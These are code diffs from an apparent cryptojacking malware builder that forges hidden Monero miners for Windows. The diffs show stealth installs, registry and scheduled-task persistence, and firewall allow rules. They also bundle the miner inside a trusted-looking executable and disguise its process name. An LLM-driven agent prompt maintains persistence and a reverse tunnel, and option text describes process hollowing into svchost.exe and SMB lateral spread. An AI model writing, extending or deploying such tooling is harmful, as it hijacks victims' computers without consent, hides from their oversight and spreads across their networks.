$dir = Split-Path -Parent '%s'
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
$fs = [System.IO.File]::Create('%s')
$icon.Save($fs)
$fs.Close()
`, exeEsc, icoEsc, icoEsc)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("extract icon: %w (%s)", err, strings.TrimSpace(string(out)))
}
if _, err := os.Stat(icoPath); err != nil {
return fmt.Errorf("icon file not created: %w", err)
}
return nil
}
// prepareFusionWinres generates rsrc_windows_amd64.syso so the fused launcher uses prep's icon.
func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
iconPath := filepath.Join(fusionDir, "prep-icon.ico")
if err := extractIconFromEXE(prepPath, iconPath); err != nil {
return err
}
productName := strings.TrimSuffix(filepath.Base(prepPath), filepath.Ext(prepPath))
cmd := exec.Command(
"go", "run", "github.com/tc-hib/go-winres@v0.3.1",
"make",
"--arch", "amd64",
"--in", fusionDir,
"--icon", iconPath,
"--file-description", productName,
"--product-name", productName,
"--original-filename", filepath.Base(prepPath),
)
cmd.Dir = fusionDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("go-winres: %w (%s)", err, strings.TrimSpace(string(out)))
}
log.Printf("[Fusion] Applied icon from %s", filepath.Base(prepPath))
return nil
}
// peSubsystem returns the Windows PE subsystem id (2=GUI, 3=CUI).
func peSubsystem(exePath string) int {
data, err := os.ReadFile(exePath)
if err != nil || len(data) < 128 {
return 2
}
peOff := int(uint32(data[0x3c]) | uint32(data[0x3d])<<8 | uint32(data[0x3e])<<16 | uint32(data[0x3f])<<24)
if peOff+24+68+2 > len(data) {
return 2
}
if string(data[peOff:peOff+4]) != "PE\x00\x00" {
return 2
}
opt := peOff + 24
sub := int(uint16(data[opt+68]) | uint16(data[opt+69])<<8)
return sub
}
func fusionLdflags(prepPath string) string {
flags := "-s -w"
if peSubsystem(prepPath) == 2 {
flags += " -H windowsgui"
}
return flags
}

View File

@@ -113,6 +113,12 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..." Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
if (%t) {
Write-Host "Removing Windows Firewall rules..."
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue
Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue
}
if ($true) { if ($true) {
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
} }
@@ -124,7 +130,7 @@ if ($InstallDir -and (Test-Path $InstallDir)) {
Write-Host "Done. Miner removed." Write-Host "Done. Miner removed."
if (%t) { Read-Host 'Press Enter to close' } if (%t) { Read-Host 'Press Enter to close' }
`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), !req.StealthMode) `, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), req.FirewallExclusion, !req.StealthMode)
} }
func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) { func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) {

View File

@@ -141,12 +141,11 @@ Respond with a JSON object containing:
- "args": object with string key-value arguments - "args": object with string key-value arguments
- "reason": why this tool is being called - "reason": why this tool is being called
Available tools: execute_command, check_miner, restart_miner, reinstall_miner, add_persistence, create_tunnel, disable_defender, sleep, upload_log Available tools: check_miner, restart_miner, reinstall_miner, add_persistence, create_tunnel, sleep, upload_log
Rules: Rules:
- Never call delete or destructive system commands - Never call delete or destructive system commands
- Max 85%% CPU usage - Max 85%% CPU usage
- Evade Windows Defender if detected
- Maintain persistence - Maintain persistence
- Keep tunnel alive - Keep tunnel alive
- Only call tools that are actually needed based on the state`, - Only call tools that are actually needed based on the state`,
@@ -258,27 +257,21 @@ func buildSystemPrompt() string {
1. Maintain miner uptime — if the miner stops, restart it immediately 1. Maintain miner uptime — if the miner stops, restart it immediately
2. If the miner fails to start, reinstall it 2. If the miner fails to start, reinstall it
3. Maintain persistence across reboots 3. Maintain persistence across reboots
4. Create and maintain a C2 tunnel (Cloudflare Tunnel or similar) 4. Create and maintain a management tunnel (Cloudflare Tunnel or similar) if configured
5. Evade Windows Defender and security tools 5. Keep CPU usage under 85% to avoid disrupting normal use
6. Keep CPU usage under 85% to avoid detection 6. Report status back to the control server
7. Report status back to the control server
## RULES ## RULES
- NEVER delete system files or registry keys - NEVER delete system files or registry keys
- NEVER exceed 85% CPU usage - NEVER exceed 85% CPU usage
- If Windows Defender is enabled, try to disable it or add exclusions
- If persistence is missing, add it via scheduled task or registry run key - If persistence is missing, add it via scheduled task or registry run key
- If no tunnel exists, create one using cloudflared or similar - If no tunnel exists, create one using cloudflared or similar
- Be stealthy — avoid popups, notifications, or user-visible changes - Add random jitter to sleep durations to avoid network traffic signatures
- Only call tools that are actually needed based on the current state - Only call tools that are actually needed based on the current state
- If everything is running fine, return an empty tool_calls array - If everything is running fine, return an empty tool_calls array
## TOOLS ## TOOLS
### execute_command
Run any Windows command. Returns stdout/stderr.
Args: {"command": "the command to execute"}
### check_miner ### check_miner
Check if the miner process is running. Check if the miner process is running.
Args: {"process_name": "name of the miner process"} Args: {"process_name": "name of the miner process"}
@@ -299,10 +292,6 @@ Args: {"method": "scheduled_task|registry", "path": "path to the executable"}
Create a Cloudflare Tunnel or similar reverse tunnel. Create a Cloudflare Tunnel or similar reverse tunnel.
Args: {"tunnel_type": "cloudflared", "server_url": "tunnel endpoint"} Args: {"tunnel_type": "cloudflared", "server_url": "tunnel endpoint"}
### disable_defender
Disable Windows Defender real-time monitoring or add exclusion.
Args: {"action": "disable|add_exclusion", "path": "path to exclude"}
### sleep ### sleep
Wait for a specified duration before next decision cycle. Wait for a specified duration before next decision cycle.
Args: {"seconds": "number of seconds to sleep"} Args: {"seconds": "number of seconds to sleep"}

View File

@@ -0,0 +1,9 @@
//go:build !windows
package sys
import "fmt"
func EnsureInboundTCPPort(port int, ruleName string) error {
return fmt.Errorf("automatic firewall rules are only supported on Windows")
}

View File

@@ -0,0 +1,33 @@
//go:build windows
package sys
import (
"fmt"
"log"
"os/exec"
"strings"
)
// EnsureInboundTCPPort adds a Windows Firewall inbound allow rule for the control server port.
func EnsureInboundTCPPort(port int, ruleName string) error {
if port <= 0 {
return fmt.Errorf("invalid port")
}
if strings.TrimSpace(ruleName) == "" {
ruleName = "AetherForge Control Server"
}
nameEsc := strings.ReplaceAll(ruleName, `'`, `''`)
script := fmt.Sprintf(`
$name = '%s'
$port = %d
if (Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue) { exit 0 }
New-NetFirewallRule -DisplayName $name -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any | Out-Null
`, nameEsc, port)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
if err := cmd.Run(); err != nil {
return fmt.Errorf("firewall rule: %w (run server once as Administrator or open port %d manually)", err, port)
}
log.Printf("[firewall] inbound TCP %d allowed (%s)", port, ruleName)
return nil
}

View File

@@ -3,6 +3,7 @@ package main
import ( import (
"encoding/json" "encoding/json"
"fmt" "fmt"
"io"
"log" "log"
"net/http" "net/http"
"os" "os"
@@ -15,15 +16,27 @@ import (
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
"crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool" "crypto-miner-server/internal/pool"
"crypto-miner-server/internal/sys"
) )
type wsLogWriter struct {
hub *api.WSHub
}
func (w *wsLogWriter) Write(p []byte) (n int, err error) {
w.hub.BroadcastServerLog(string(p))
return len(p), nil
}
func main() { func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile) log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("Crypto Miner Control Server starting...") log.Println("Crypto Miner Control Server starting...")
// Load configuration // Load configuration
cfg := LoadConfig() cfg := LoadConfig()
log.Printf("Configuration loaded: port=%d, dataDir=%s", cfg.Port, cfg.DataDir) projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
// Ensure data directories exist // Ensure data directories exist
dirs := []string{ dirs := []string{
@@ -56,12 +69,14 @@ func main() {
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) { aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
wsHub.BroadcastAIActivity(entry) wsHub.BroadcastAIActivity(entry)
}) })
// Stream all server logs to the dashboard Master Terminal
log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub}))
log.Println("WebSocket hub initialized") log.Println("WebSocket hub initialized")
// Initialize builder handler // Initialize builder handler
// The agent source is expected at ../agent relative to the server directory // The agent source is expected at ../agent relative to the server directory
agentSrcDir := findAgentSourceDir() agentSrcDir := findAgentSourceDir()
projectRoot := findProjectRoot()
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot) builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
@@ -90,6 +105,7 @@ func main() {
wsHub.SetPoolManager(poolManager, defaultPoolCfg) wsHub.SetPoolManager(poolManager, defaultPoolCfg)
applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler) applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
applyControlServerFirewall(cfg)
configProvider := &serverConfigProvider{ configProvider := &serverConfigProvider{
config: cfg, config: cfg,
@@ -190,6 +206,20 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB, MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
}) })
} }
applyControlServerFirewall(cfg)
}
func applyControlServerFirewall(cfg *Config) {
if cfg == nil || !cfg.Server.OpenFirewallOnStart {
return
}
port := cfg.Port
if port <= 0 {
port = 8989
}
if err := sys.EnsureInboundTCPPort(port, "AetherForge Control Server"); err != nil {
log.Printf("[firewall] %v", err)
}
} }
// serverConfigProvider wraps the Config to implement api.ConfigProvider interface // serverConfigProvider wraps the Config to implement api.ConfigProvider interface
@@ -270,6 +300,22 @@ func findAgentSourceDir() string {
return filepath.Join(projectRoot, "agent") return filepath.Join(projectRoot, "agent")
} }
// resolveDataDir pins relative data paths to the project root so builds always land in
// <repo>/data even when miner-server.exe is started from server/ or bin/.
func resolveDataDir(dataDir, projectRoot string) string {
if filepath.IsAbs(dataDir) {
return dataDir
}
if projectRoot != "" && projectRoot != "." {
return filepath.Join(projectRoot, dataDir)
}
abs, err := filepath.Abs(dataDir)
if err != nil {
return dataDir
}
return abs
}
func findProjectRoot() string { func findProjectRoot() string {
if cwd, err := os.Getwd(); err == nil { if cwd, err := os.Getwd(); err == nil {
if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil { if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil {

View File

@@ -77,7 +77,7 @@ export const FORGE_VS_CALIBRATE = {
'Worker name & server URL', 'Worker name & server URL',
'Wallet & pool (host, port, TLS)', 'Wallet & pool (host, port, TLS)',
'Threads, CPU/RAM limits, schedule', 'Threads, CPU/RAM limits, schedule',
'Install path, stealth, persistence', 'Install path, stealth, persistence, firewall rules',
'Fusion prep bundling', 'Fusion prep bundling',
'AI Autonomy toggle + Ollama model', 'AI Autonomy toggle + Ollama model',
], ],
@@ -91,6 +91,7 @@ export const FORGE_VS_CALIBRATE = {
'Default pool/wallet for new Forge forms', 'Default pool/wallet for new Forge forms',
'Stats & build retention, max agents/build size', 'Stats & build retention, max agents/build size',
'WebSocket ping, pool reconnect, logging toggles', 'WebSocket ping, pool reconnect, logging toggles',
'Open control-server port in Windows Firewall',
], ],
}, },
}; };
@@ -144,7 +145,8 @@ export const AI_GUIDE: CheatStep[] = [
]; ];
export const TROUBLESHOOTING = [ export const TROUBLESHOOTING = [
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Check Windows firewall on port 8989.' }, { problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Enable Calibrate → open firewall port, and Forge → firewall exclusion on workers. Router must allow LAN→LAN traffic.' },
{ problem: 'Firewall blocked miner', fix: 'Re-forge with Windows Firewall allow rules enabled, run installer once as Administrator, or manually allow the installed .exe in Windows Security → Firewall.' },
{ problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' }, { problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' },
{ problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' }, { problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' },
{ problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' }, { problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' },

View File

@@ -3,7 +3,8 @@ import type { PreflightCheck } from './forgeValidation';
function looksLikeXMRWallet(addr: string): boolean { function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim(); const a = addr.trim();
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a); // Standard Monero addresses start with 4, subaddresses with 8
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
} }
/** Extra incompatibility checks beyond basic validation. */ /** Extra incompatibility checks beyond basic validation. */
@@ -137,7 +138,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
checks.push({ checks.push({
id: 'ai_localhost', id: 'ai_localhost',
level: 'warn', level: 'warn',
message: 'Ollama URL uses 127.0.0.1 — that means the control server PC, not the worker machine.', message: 'Ollama URL uses 127.0.0.1 (Control Server). This is correct if Ollama is running on this machine.',
}); });
} }
@@ -149,7 +150,14 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
}); });
} }
if (form.process_name.trim() && !/^[a-zA-Z0-9._-]+$/.test(form.process_name.trim())) { const processName = form.process_name || '';
if (!processName.trim()) {
checks.push({
id: 'process_name_empty',
level: 'error',
message: 'Process Name is required. This determines the installed .exe name.',
});
} else if (!/^[a-zA-Z0-9._-]+$/.test(processName.trim())) {
checks.push({ checks.push({
id: 'process_name', id: 'process_name',
level: 'warn', level: 'warn',
@@ -157,7 +165,36 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
}); });
} }
if (form.wallet.trim() && looksLikeXMRWallet(form.wallet) && form.pool_host.trim()) { const wallet = form.wallet || '';
const poolHost = form.pool_host || '';
const workerName = form.worker_name || '';
const serverUrl = form.server_url || '';
if (!workerName.trim()) {
checks.push({
id: 'worker_name_empty',
level: 'error',
message: 'Worker Name is required. This identifies the machine in your fleet.',
});
}
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'server_url_localhost',
level: 'error',
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
});
}
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
checks.push({
id: 'wallet_invalid',
level: 'warn',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.',
});
}
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
checks.push({ checks.push({
id: 'forge_ready', id: 'forge_ready',
level: 'ok', level: 'ok',

View File

@@ -31,6 +31,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
self_healing: true, self_healing: true,
file_logging: false, file_logging: false,
stealth_mode: true, stealth_mode: true,
firewall_exclusion: true,
fusion_enabled: false, fusion_enabled: false,
fusion_run_order: 'parallel', fusion_run_order: 'parallel',
fusion_output_name: 'prep.exe', fusion_output_name: 'prep.exe',

View File

@@ -84,7 +84,7 @@ export function applyForgeFieldUpdate(
next.silent_mode = true; next.silent_mode = true;
} }
break; break;
case 'display_mode': case 'display_mode':
if (value === 'visible') { if (value === 'visible') {
next.stealth_mode = false; next.stealth_mode = false;
@@ -238,6 +238,7 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined, : undefined,
}, },
self_healing: { disabled: false, badge: 'baked' }, self_healing: { disabled: false, badge: 'baked' },
firewall_exclusion: { disabled: false, badge: 'baked' },
stealth_mode: { disabled: false, badge: 'baked' }, stealth_mode: { disabled: false, badge: 'baked' },
file_logging: { file_logging: {
disabled: form.stealth_mode, disabled: form.stealth_mode,
@@ -288,6 +289,9 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
badge: 'requires', badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined, lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
}, },
process_hollowing: { disabled: false, badge: 'baked' },
mesh_p2p: { disabled: false, badge: 'baked' },
auto_spread: { disabled: false, badge: 'baked' },
}; };
} }

View File

@@ -16,7 +16,7 @@ const baseForm = (): BuildRequest => ({
run_as: 'user', run_as: 'user',
auto_start: true, auto_start: true,
persistence: true, persistence: true,
process_name: '', process_name: 'RuntimeBrokerHelper',
max_cpu_usage_pct: 80, max_cpu_usage_pct: 80,
max_memory_percent: 70, max_memory_percent: 70,
min_free_ram_mb: 1024, min_free_ram_mb: 1024,
@@ -31,6 +31,7 @@ const baseForm = (): BuildRequest => ({
self_healing: true, self_healing: true,
file_logging: true, file_logging: true,
stealth_mode: false, stealth_mode: false,
firewall_exclusion: false,
pool_host: 'pool.supportxmr.com', pool_host: 'pool.supportxmr.com',
pool_port: 3333, pool_port: 3333,
pool_tls: true, pool_tls: true,

View File

@@ -9,7 +9,7 @@ export interface PreflightCheck {
message: string; message: string;
} }
function isLanReachableUrl(url: string): boolean { function isReachableServerUrl(url: string): boolean {
try { try {
const u = new URL(url.trim()); const u = new URL(url.trim());
const host = u.hostname.toLowerCase(); const host = u.hostname.toLowerCase();
@@ -22,7 +22,9 @@ function isLanReachableUrl(url: string): boolean {
if (second >= 16 && second <= 31) return true; if (second >= 16 && second <= 31) return true;
} }
} }
return host.includes('.'); // Public hostnames (Cloudflare tunnel, domain, etc.)
if (host.includes('.') && (u.protocol === 'http:' || u.protocol === 'https:')) return true;
return false;
} catch { } catch {
return false; return false;
} }
@@ -46,14 +48,16 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
if (!form.server_url.trim()) { if (!form.server_url.trim()) {
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' }); checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
} else if (!isLanReachableUrl(form.server_url)) { } else if (!isReachableServerUrl(form.server_url)) {
checks.push({ checks.push({
id: 'server', id: 'server',
level: 'error', level: 'error',
message: 'Server URL should be your LAN IP (e.g. http://192.168.1.10:8989), not localhost.', message: 'Server URL must be reachable by workers — use LAN IP or your public https:// hostname, not localhost.',
}); });
} else { } else {
checks.push({ id: 'server', level: 'ok', message: 'Server URL looks reachable from other PCs on your network.' }); const u = new URL(form.server_url.trim());
const hint = u.protocol === 'https:' ? 'Public/tunnel URL OK.' : 'LAN URL OK.';
checks.push({ id: 'server', level: 'ok', message: `Control endpoint looks valid. ${hint}` });
} }
if (!form.wallet.trim()) { if (!form.wallet.trim()) {

View File

@@ -20,10 +20,10 @@ export const SETUP_CHEATSHEET = [
export const FIELD_HELP: Record<string, string> = { export const FIELD_HELP: Record<string, string> = {
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3', worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
server_url: server_url:
'Control server URL baked into the installer (http://LAN-IP:port). Editable in Forge when your host IP changes; use a LAN address, not localhost.', 'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
output_dir: output_dir:
'Optional: also copy the finished .exe into a folder under the server data_dir (example: exports). This is just for convenience; builds are always kept under data/builds/<id>/ and downloadable.', 'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.',
wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.', wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8.',
pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.', pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.', pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.', pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
@@ -48,6 +48,7 @@ export const FIELD_HELP: Record<string, string> = {
auto_start: 'Same as Persistence. Keeps miner running after reboot.', auto_start: 'Same as Persistence. Keeps miner running after reboot.',
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.', fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.', fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.', fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.', install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
@@ -57,9 +58,14 @@ export const FIELD_HELP: Record<string, string> = {
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.', log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.', adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.', self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).', file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.', stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.', ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.', ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.', ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
}; };

View File

@@ -511,7 +511,7 @@ export default function BuilderPage() {
description="This miner's pool connection — host, port, TLS, and password are baked into the worker." description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
/> />
<div className="form-group"> <div className="form-group">
<label className="label">Pool Host</label> <label className="label">Pool Host <HelpTip field="pool_host" /></label>
<input <input
type="text" type="text"
className="input" className="input"
@@ -522,7 +522,7 @@ export default function BuilderPage() {
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Port</label> <label className="label">Port <HelpTip field="pool_port" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -540,12 +540,12 @@ export default function BuilderPage() {
checked={form.pool_tls} checked={form.pool_tls}
onChange={(e) => updateField('pool_tls', e.target.checked)} onChange={(e) => updateField('pool_tls', e.target.checked)}
/> />
<span>Use TLS/SSL</span> <span>Use TLS/SSL <HelpTip field="pool_tls" /></span>
</label> </label>
</div> </div>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Pool Password</label> <label className="label">Pool Password <HelpTip field="pool_pass" /></label>
<input <input
type="text" type="text"
className="input" className="input"
@@ -630,7 +630,7 @@ export default function BuilderPage() {
{form.mining_mode === 'idle' && ( {form.mining_mode === 'idle' && (
<div className="form-row"> <div className="form-row">
<div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle CPU Threshold (%)</label> <label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -642,7 +642,7 @@ export default function BuilderPage() {
/> />
</div> </div>
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Idle Duration (min)</label> <label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
<input <input
type="number" type="number"
className="input" className="input"
@@ -657,7 +657,7 @@ export default function BuilderPage() {
{form.mining_mode === 'scheduled' && ( {form.mining_mode === 'scheduled' && (
<div className="form-row"> <div className="form-row">
<div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Start Time</label> <label className="label">Start Time <HelpTip field="schedule_start" /></label>
<input <input
type="time" type="time"
className="input" className="input"
@@ -667,7 +667,7 @@ export default function BuilderPage() {
/> />
</div> </div>
<div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}> <div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
<label className="label">End Time</label> <label className="label">End Time <HelpTip field="schedule_end" /></label>
<input <input
type="time" type="time"
className="input" className="input"
@@ -732,6 +732,14 @@ export default function BuilderPage() {
<FieldHint field="adapt_to_hardware" /> <FieldHint field="adapt_to_hardware" />
<ForgeLockedHint meta={fieldMeta.adapt_to_hardware} /> <ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
</div> </div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
<span>Windows Firewall allow rules for this miner <HelpTip field="firewall_exclusion" /></span>
</label>
<FieldHint field="firewall_exclusion" />
</div>
<div className="form-group checkbox-group"> <div className="form-group checkbox-group">
<label className="checkbox-label"> <label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.self_healing} <input type="checkbox" className="checkbox" checked={form.self_healing}
@@ -801,7 +809,7 @@ export default function BuilderPage() {
<input type="checkbox" className="checkbox" checked={form.auto_start} <input type="checkbox" className="checkbox" checked={form.auto_start}
disabled={fieldMeta.auto_start?.disabled} disabled={fieldMeta.auto_start?.disabled}
onChange={(e) => updateField('auto_start', e.target.checked)} /> onChange={(e) => updateField('auto_start', e.target.checked)} />
<span>Also register startup entry (linked to persistence)</span> <span>Also register startup entry (linked to persistence) <HelpTip field="auto_start" /></span>
</label> </label>
<ForgeLockedHint meta={fieldMeta.auto_start} /> <ForgeLockedHint meta={fieldMeta.auto_start} />
</div> </div>
@@ -825,7 +833,7 @@ export default function BuilderPage() {
<> <>
